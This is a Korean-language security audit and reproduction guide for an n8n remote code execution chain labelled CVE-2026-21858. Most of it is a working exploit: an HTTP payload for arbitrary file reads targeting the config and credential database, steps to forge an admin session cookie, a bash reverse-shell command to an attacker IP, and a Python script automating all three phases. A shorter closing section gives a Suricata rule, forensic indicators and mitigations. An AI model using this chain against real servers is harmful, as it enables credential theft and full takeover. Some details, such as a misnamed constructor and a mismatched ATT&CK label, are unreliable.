
# CVE-2026-21858 기술 감사 및 재현 n8n RCE 체인으로, Content-Type 혼동을 악용하여 임의 파일 읽기, 세션 위조, 명령 실행을 수행합니다.
= doi.org/10.5281/zenodo.18278825
= orcid.org/0009-0007-7728-256X
[RECONSTRUCTION_ANALYSIS] CVE-2026-21858: Ni8mare - n8n RCE 전체 체인 익스플로잇
본 기술 감사는 Cyera Research Labs의 Dor Attias(2025년 11월 9일)의 연구 결과를 기반으로 하며, REmnux/Kali Linux 실험실 환경에서 바로 사용할 수 있는 재현 절차를 포함합니다.
주요 정보: 대상: n8n 버전 >=1.65.0 ~ <1.121.0.
공격 벡터: 네트워크(HTTP/HTTPS).
복잡도: 낮음.
영향: 전체(기밀성, 무결성, 가용성).
EPSS 점수: 0.97(매우 높은 악용 확률).
정상 흐름: multipart/form-data 요청은 parseFormData()(Formidable 파서 활용)에 의해 처리되며, req.body.files 객체를 올바르게 채웁니다.
취약 조건: 공격자가 Content-Type: application/json으로 요청을 제출하면 미들웨어는 parseBody()를 호출합니다. 제출된 JSON은 추가 검증 없이 req.body에 직접 파싱되어 req.body.files 속성을 치명적으로 덮어씁니다.
악용: formWebhook -> prepareFormReturnItem() 함수는 copyBinaryFile(req.body.files[0].filepath)를 맹목적으로 호출하여 JSON에 제공된 파일 경로를 신뢰하므로, 임의의 로컬 파일을 접근 가능한 워크플로 저장소에 복사합니다.
사전 요구 사항: Docker 및 Docker Compose.
requests, pyjwt, cryptography 라이브러리가 포함된 Python 3.
셸 캡처를 위한 Netcat(nc) 또는 Burp Suite.
배포 단계: 취약한 인스턴스 실행:
Bash
docker run -d
--name ni8mare-vuln
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.65.0
관리자 초기화: http://localhost:5678에 접속하여 관리자 계정을 생성합니다(예: [email protected] / Password123!).
워크플로 구성: "File Upload" 필드를 포함하는 "Form Trigger" 노드로 새 워크플로를 생성합니다. 워크플로를 활성화하고 "Test URL"을 기록합니다.
HTTP 요청 페이로드:
HTTP
POST /webhook-test/{workflow-id}/form-endpoint HTTP/1.1 Host: target:5678 Content-Type: application/json User-Agent: Mozilla/5.0
[{"filepath":"/etc/passwd","mimetype":"text/plain","filename":"fake.txt"}] 전략적 대상:
/home/node/.n8n/config: N8N_ENCRYPTION_KEY 탈취용.
/home/node/.n8n/database.sqlite: 사용자 자격 증명 해시 추출용.
2단계: 인증 우회(세션 위조) 암호화 키와 사용자 데이터를 획득하면 n8n-auth 쿠키를 위조할 수 있습니다.
세션 위조 로직:
페이로드: {"userId":1, "hash": sha256(email + password).slice(0,10)}.
서명: N8N_ENCRYPTION_KEY를 HS256 알고리즘으로 사용하여 서명.
결과: 생성된 쿠키는 정상적인 로그인 과정 없이 완전한 관리자 접근 권한을 허용합니다.
3단계: 원격 코드 실행(RCE) 관리자로서(위조된 쿠키를 통해) "Execute Command" 노드를 포함하는 새 워크플로 생성을 자동화할 수 있습니다.
명령 페이로드: bash -c "bash -i >& /dev/tcp/{attacker_ip}/4444 0>&1"
Python
#!/usr/bin/env python3
import requests, json, hashlib, jwt, time
class Ni8mareExploit: def init(self, target, webhook_id): self.target = target.rstrip('/') self.webhook_url = f"{self.target}/webhook-test/{webhook_id}/form-endpoint" self.session = requests.Session()
def read_file(self, path, name):
"""Phase 1: Arbitrary File Read via Content-Type Confusion"""
print(f"[*] Attempting to read {path}...")
payload = [{"filepath": path, "mimetype": "text/plain", "filename": name}]
headers = {'Content-Type': 'application/json'}
r = self.session.post(self.webhook_url, json=payload, headers=headers)
return r.status_code == 200
def forge_session(self, email, password, key):
"""Phase 2: Cookie Forgery"""
hash_src = email + password
h = hashlib.sha256(hash_src.encode()).hexdigest()[:10]
payload = {'userId': 1, 'hash': h}
cookie = jwt.encode(payload, key, algorithm='HS256')
self.session.cookies.set('n8n-auth', cookie)
print(f"[+] Forged Cookie: n8n-auth={cookie}")
def trigger_rce(self, lhost, lport):
"""Phase 3: RCE via Workflow Automation"""
cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
wf_payload = {
"name": "Ni8mare RCE",
"nodes": [{"parameters": {"command": cmd}, "type": "n8n-nodes-base.executeCommand"}],
"active": True
}
r = self.session.post(f"{self.target}/rest/workflows", json=wf_payload)
print("[!] RCE Workflow Deployed. Check your listener!")
네트워크 지표(IDS/IPS): Suricata 시그니처: alert http $EXTERNAL_NET any -> $HOME_NET 5678 (msg:"Ni8mare Exploit Attempt"; content:"application/json"; content:"filepath"; sid:1000001;)
이상 징후: /webhook/*/form-endpoint 엔드포인트로 전송되는 Content-Type: application/json이 포함된 POST 요청.
호스트 기반 포렌식: 파일 시스템: 시스템 데이터(예: /etc/passwd)를 포함하는 ~/.n8n/files/ 디렉토리의 의심스러운 텍스트 파일 검색.
로그: multipart 데이터 없이 prepareFormReturnItem 함수 활동에 대한 n8n 로그 감사.
Docker Inspect: 이미지 버전이 1.121.0 미만인지 확인.
해결 방법: 패치가 불가능한 경우 WAF(웹 애플리케이션 방화벽)를 사용하여 /webhook 엔드포인트에 대한 접근을 제한하고 의심스러운 JSON 요청을 차단합니다.
네트워크 분리: 침입 발생 시 측면 이동을 방지하기 위해 n8n 인스턴스를 민감한 내부 네트워크에서 격리합니다.
실행: T1059(명령 및 스크립팅 인터프리터)
지속성: T1098(세션 위조를 통한 계정 조작)
데이터 유출: T1083(파일 및 디렉토리 검색)
면책 조항: 본 분석은 Master SASTRA_ADI_WIGUNA의 지시에 따라 교육 목적, 보안 감사 및 전문 사이버 방어를 위해서만 제공됩니다. 불법 활동에 대한 이 정보의 오용은 전적으로 운영자의 책임입니다. 프로덕션 패치는 필수입니다.